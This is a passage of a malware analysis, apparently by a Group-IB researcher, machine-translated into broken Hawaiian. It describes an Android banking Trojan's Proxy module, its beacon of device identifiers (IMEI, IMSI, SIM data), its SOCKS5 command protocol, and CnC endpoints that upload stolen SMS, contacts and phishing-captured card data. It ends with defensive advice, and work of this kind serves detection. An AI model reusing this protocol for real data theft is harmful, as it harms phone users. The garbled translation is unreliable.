1. Hoʻomaka i kahi manawa e holo hoʻokahi i ka minuke a nānā i ka hana o ka module Proxy. Inā ʻaʻole ʻeleu ka module, hoʻomaka ia.
Eia kekahi i ka wā e hoʻomaka ai ka hanana android.net.conn.CONNECTIVITY_CHANGE Hoʻomaka ʻia ka module Proxy.
2. Hoʻokumu ka palapala noi i kahi ala ala me ka palena PARTIAL_WAKE_LOCK a hopu iā ia. ʻAʻole kēia i ka CPU hāmeʻa mai ka hele ʻana i ke ʻano hiamoe.
3. Hoʻopuka i ka papa hana kauoha o ka module Proxy, e hoʻopaʻa mua i ka laina mainLog("hoʻomaka ke kikowaena") и
Server::start() host[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]
kahi proxy_cnc, kauoha_port a me proxy_port - nā ʻāpana i loaʻa mai ka hoʻonohonoho kikowaena kikowaena Proxy.
Kapa ʻia ka papa hana kauoha Hoʻohui Kauoha. Ma hope koke o ka hoʻomaka ʻana, e hana i kēia mau hana:
4. Hoʻopili i ProxyConfigClass.host: ProxyConfigClass.commandPort a hoʻouna i ka ʻikepili e pili ana i ka mea maʻi i laila ma JSON format:
{
"id":<%id%>,
"imei":<%imei%>,
"imsi":<%imsi%>,
"model":<%model%>,
"manufacturer":<%manufacturer%>,
"androidVersion":<%androidVersion%>,
"country":<%country%>,
"partnerId":<%partnerId%>,
"packageName":<%packageName%>,
"networkType":<%networkType%>,
"hasGsmSupport":<%hasGsmSupport%>,
"simReady":<%simReady%>,
"simCountry":<%simCountry%>,
"networkOperator":<%networkOperator%>,
"simOperator":<%simOperator%>,
"version":<%version%>
}
ʻAuhea:
- id - identifier, e hoʻāʻo e kiʻi i kahi waiwai me ka "id" kahua mai ka faila Shared Preference i kapa ʻia ʻo "x". Inā ʻaʻole hiki ke loaʻa kēia waiwai, hana ia i kahi waiwai hou. No laila, loaʻa i ka module Proxy kona ʻike ponoʻī, i hana ʻia e like me ka Bot ID.
- imei - IMEI o ka mea hana. Inā loaʻa kahi hewa i ka wā o ka loaʻa ʻana o ka waiwai, e kākau ʻia kahi leka kikokikona hewa ma kahi o kēia kahua.
- imsi — Ka ʻike inoa o ka mea hoʻohana kelepona kelepona honua. Inā loaʻa kahi hewa i ka wā o ka loaʻa ʻana o ka waiwai, e kākau ʻia kahi leka kikokikona hewa ma kahi o kēia kahua.
- kumu hoʻohālike — Ka inoa i ʻike ʻia e ka mea hoʻohana hope no ka huahana hope.
- mea hana — Ka mea hana i ka huahana/mea paahana (Build.MANUFACTURER).
- androidVersion - he kaula ma ke ʻano "<%release_version%> (<%os_version%>),<%sdk_version%>"
- ʻāina - kahi o kēia manawa o ka mea hana.
- partnerId he kaula hakahaka.
- packageName – inoa pūʻolo.
- networkType — ke ʻano o ka pili pūnaewele o kēia manawa (laʻana: “WIFI”, “MOBILE”). Inā hewa, e hoʻihoʻi i ka null.
- hasGsmSupport - ʻoiaʻiʻo - inā kākoʻo ke kelepona iā GSM, inā ʻaʻole he hewa.
- simReady - kūlana kāleka SIM.
- simCountry - ISO ʻāina code (e pili ana i ka mea hāʻawi kāleka SIM).
- networkOperator — inoa mea hoʻohana. Inā loaʻa kahi hewa i ka wā o ka loaʻa ʻana o ka waiwai, e kākau ʻia kahi leka kikokikona hewa ma kahi o kēia kahua.
- simOperator - Ka inoa mea hoʻolako lawelawe (SPN). Inā loaʻa kahi hewa i ka wā o ka loaʻa ʻana o ka waiwai, e kākau ʻia kahi leka kikokikona hewa ma kahi o kēia kahua.
- version - mālama ʻia kēia kahua ma ka papa config; no nā mana i hoʻāʻo ʻia o ka bot ua like ia me "1.6".
5. Hoʻololi i ke ʻano o ke kali ʻana i nā kauoha mai ke kikowaena. Aia nā kauoha mai ke kikowaena ma ke ʻano:
- 0 offset - kauoha
- 1 offset - sessionId
- 2 offset - lōʻihi
- 4 offset - ʻikepili
Ke hōʻea mai kahi kauoha, hoʻopaʻa ka palapala noi:
mainLog("Header { sessionId<%id%>], type[<%command%>], long[<%longth%>] }")
Hiki i kēia mau kauoha mai ke kikowaena:
inoa | E kauoha aku | 'Ikepili | Description |
---|---|---|---|
connectionId | 0 | ID pili | Hana i kahi pilina hou |
MAUI | 3 | manawa | Hoʻomaha i ka module Proxy |
PING_PONG | 4 | - | E hoʻouna i ka leka PONG |
ʻO ka memo PONG he 4 bytes a e like me kēia: 0x04000000.
Ke loaʻa ke kauoha connectionId (e hana i kahi pilina hou) Hoʻohui Kauoha hana i kahi laʻana o kahi papa Pākuʻi.
- ʻElua mau papa i komo i ke koho ʻana: Pākuʻi и hopena. I ka hana ana i papa Pākuʻi pili ana i ka helu wahi ProxyConfigClass.host: ProxyConfigClass.proxyPort a hāʻawi i ka mea JSON:
{
"id":<%connectionId%>
}
I ka paneʻana, hoʻouna ke kikowaena i kahi leka SOCKS5 i loaʻa ka helu o ka kikowaena mamao kahi e hoʻokumuʻia ai ka pilina. Hana ʻia ka pilina me kēia kikowaena ma o ka papa hopena. Hiki ke hōʻike ʻia ka hoʻonohonoho pili ʻana penei:
Nā pilina pūnaewele
No ka pale ʻana i ka nānā ʻana i nā kaʻa e nā sniffers pūnaewele, hiki ke pale ʻia ka pilina ma waena o ka server CnC a me ka noi me ka hoʻohana ʻana i ka protocol SSL. Hōʻike ʻia nā ʻikepili i hoʻouna ʻia mai a i ke kikowaena ma ke ʻano JSON. Hoʻokō ka palapala noi i kēia mau noi i ka wā o ka hana:
- http://<%CnC%>/api/v1/set_state.php - ka hopena o ka hoʻokō kauoha.
- http://<%CnC%>/api/v1/get.php - ka loaʻa ʻana o kahi kauoha.
- http://<%CnC%>/api/v1/load_sms.php - ke hoʻoiho ʻana i nā leka SMS mai kahi mea maʻi.
- http://<%CnC%>/api/v1/load_ab.php - ka hoʻouka ʻana i kahi papa inoa o nā mea pili mai kahi mea maʻi.
- http://<%CnC%>/api/v1/aevents.php - hana ʻia ka noi i ka wā e hoʻonui ai i nā ʻāpana i loaʻa i ka faila makemake.
- http://<%CnC%>/api/v1/set_card.php - ka hoʻouka ʻana i ka ʻikepili i loaʻa me ka hoʻohana ʻana i ka pukaaniani phishing masquerading e like me ka Google Play Market.
- http://<%CnC%>/api/v1/logs.php - ka hoʻouka ʻana i ka ʻikepili log.
- http://<%CnC%>/api/v1/records.php - ka hoʻouka ʻana i ka ʻikepili i loaʻa ma o ka phishing windows.
- http://<%CnC%>/api/v1/set_error.php - ka hoʻolaha ʻana o kahi hewa i hana ʻia.
koi
I mea e pale aku ai i kā lākou mea kūʻai mai ka hoʻoweliweli ʻana o nā Trojans mobile, pono nā hui e hoʻohana i nā hoʻonā piha e hiki ai iā lākou ke nānā a pale i ka hana ʻino me ka ʻole o ka hoʻokomo ʻana i nā polokalamu hou ma nā mea hoʻohana.
No ka hana ʻana i kēia, pono e hoʻoikaika ʻia nā ala pūlima no ka ʻike ʻana i nā Trojan mobile me nā ʻenehana no ka nānā ʻana i ka ʻano o ka mea kūʻai aku a me ka noi ponoʻī. Pono e hoʻokomo ʻia ka pale ʻana i kahi hana ʻike maka me ka hoʻohana ʻana i ka ʻenehana manamana lima kikohoʻe, kahi e hiki ai ke hoʻomaopopo i ka wā e hoʻohana ʻia ai kahi moʻokāki mai kahi mea atypical a ua hāʻule i loko o nā lima o ka mea hoʻopunipuni.
ʻO kahi kumu koʻikoʻi ka loaʻa ʻana o ka loiloi cross-channel, e hiki ai i nā ʻoihana ke hoʻomalu i nā pilikia e kū mai ana ʻaʻole wale ma ka Pūnaewele, akā ma ke ala kelepona hoʻi, no ka laʻana, i nā noi no ka waihona kālā kelepona, no nā kālepa me nā cryptocurrencies a me nā mea ʻē aʻe. hiki ke hoʻokō ʻia nā hana kālā.
Nā lula palekana no nā mea hoʻohana:
- mai hoʻokomo i nā noi no ka polokalamu kelepona me Android OS mai nā kumu ʻē aʻe ma mua o Google Play, e nānā pono i nā kuleana i noi ʻia e ka noi;
- hoʻokomo mau i nā mea hou o ka Android OS;
- e hoʻolohe i nā hoʻonui o nā faila i hoʻoiho ʻia;
- mai kipa aku i na waiwai hoohuoi;
- Mai kaomi i nā loulou i loaʻa ma nā leka SMS.
Hoku hōkū Semyon Rogacheva, loea ʻōpio i ka noiʻi malware ma ka Group-IB Computer Forensics Laboratory.
Source: www.habr.com